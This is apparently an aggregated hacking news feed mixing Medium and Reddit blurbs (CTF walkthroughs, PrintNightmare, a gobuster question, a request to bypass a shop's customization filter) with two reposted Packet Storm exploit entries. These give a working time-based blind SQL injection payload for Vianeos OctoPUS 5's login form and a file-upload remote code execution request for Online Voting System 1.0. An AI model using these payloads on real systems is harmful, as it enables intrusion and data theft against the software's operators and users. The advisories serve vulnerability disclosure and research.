Hacking on Medium
Intro To LAN CTF on TryHackMe

https://cdn-images-1.medium.com/max/600/1*NaytA1RckXNWoKDg1Jlr5g.jpeg
Get the knowledge about protocols that used on private network (DHCP , ARP) , with great article about subnetting .

Continue reading on Medium »

Hacking on Medium
HTB Knife

https://cdn-images-1.medium.com/max/641/1*N6RTU1bQbXV9HoUfyxC4tA.png
Hello everyone, this is my first write-up and I decided to start with the box named „Knife“. In this walkthrough, I won’t expand into…

Continue reading on Medium »

Hacking on Medium
How I am planning for my hackathon journey in 2021…

https://cdn-images-1.medium.com/max/2600/0*XmyPZ8GUBrv0ALzT
So to all the people who build and participate in hackathons or plan to participate from this year, we gonna go through my journey and…

Continue reading on Medium »

Hacking Premium Features on Desktop Application
https://rejinoldpearson.medium.com/hacking-premium-features-on-desktop-application-cdf586be909b?source=rss------bug_bounty-5

The Price Hacking !Continue reading on Medium » (https://rejinoldpearson.medium.com/hacking-premium-features-on-desktop-application-cdf586be909b?source=rss------bug_bounty-5)

Hacking Premium Features on Desktop Application

The Price Hacking !Continue reading on Medium »
Read more...

hacking: security in practice
PrintNightmare 0-day can be used to take over Windows domain controllers

https://external-preview.redd.it/DVaKTbJEkySvzrlG-Bb53PWcrQDw5qdA98a8IxvNR9w.jpg?width=640&crop=smart&auto=webp&s=2d7a935c7e2abbaf71151acca37d0efab3705f59 submitted by /u/CodePerfect
[link] [comments]

hacking: security in practice
Why so many bad response codes?

Hey all!

I'm fairly new to red teaming and am currently experimenting with gobuster on different sites. When I run it, I'll typically get a few 200 range status codes and a ton in the 300-500 range. What does this mean? Is there a way to further enumerate on these or are they some sort of false positives?

I'd appreciate any input, but would also hugely appreciate any relevant learning resources.

Thanks!

submitted by /u/__superzero__
[link] [comments]

hacking: security in practice
How to bypass custom order restriction?

Sorry if not allowed to ask, but I am trying to order a customized item from a website that has restrictions on how I can customize it.

this is the item

Basically, I try to enter a specific name and number (in this case Sanders, 21) and I get an error message: “We are unable to customize this item with the text you have entered. Please try a different entry.”

Surely there is a workaround? Any insight is greatly appreciated

submitted by /u/SatsuiNoHadou_
[link] [comments]

Exploit Collector
Vianeos OctoPUS 5 SQL Injection

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
Vianeos OctoPUS version 5 suffers from a remote time-based SQL injection vulnerability.

MD5 | b23e2b025834a8ba12c912db046a0052

Download
# Exploit Title: Vianeos OctoPUS 5 - 'login_user' SQLi
# Date: 01/07/2021
# Exploit Author: Audencia Business SCHOOL
# Vendor Homepage: http://www.vianeos.com/en/home-vianeos/
# Software Link: http://www.vianeos.com/en/octopus/
# Version: > V5
# Tested on: Fedora / Apache2 / MariaDB
Octopus V5 SQLi

The "login_user =" parameter present in the POST authentication request is vulnerable to an Time Based SQLi as follow :

```
Parameter: login_user (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: signin_user=1&login_user=1' AND (SELECT 8860 FROM (SELECT(SLEEP(5)))xENj) AND 'OoKG'='OoKG&password_user=1
```

Source:packetstormsecurity.com

Exploit Collector
Online Voting System 1.0 Remote Code Execution

https://3.bp.blogspot.com/-8aNXwMYQICE/WWlvIs7ranI/AAAAAAAAILw/f2UnTjqyD14e3ZIoWuyFJjQ7Is9Nz7MtQCLcBGAs/s1600/h144.png
Online Voting System version 1.0 suffers from an authenticated remote code execution vulnerability.

MD5 | 06b7f378b9c0cd0ed30203d4fdb20e9b

Download
# Exploit Title: Online Voting System 1.0 - Remote Code Execution (Authenticated)
# Exploit Author: deathflash1411
# Date 30.06.2021
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/4808/voting-system-php.html
# Version 1.0
# Tested on: Ubuntu 20.04

####################
# Proof of Concept #
####################

POST /Online_voting_system/admin/save_candidate.php HTTP/1.1
Host: localhost
Content-Length: 1253
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4G9QRpniTS7gPVqW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://localhost/Online_voting_system/admin/new_candidate.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=4ad205f46c868d2bc83e368352d0396a
Connection: close

------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="user_name"

admin
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rfirstname"

test
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rlastname"

test
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rgender"

Male
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="ryear"

1st year
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rmname"

test
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="rposition"

Governor
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="party"

test
------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="image"; filename="test.php"
Content-Type: application/octet-stream

<?php

------WebKitFormBoundary4G9QRpniTS7gPVqW
Content-Disposition: form-data; name="save"
------WebKitFormBoundary4G9QRpniTS7gPVqW--

########
# Note #
########

Uploaded file will be available at http://localhost/Online_voting_system/admin/upload/

Source:packetstormsecurity.com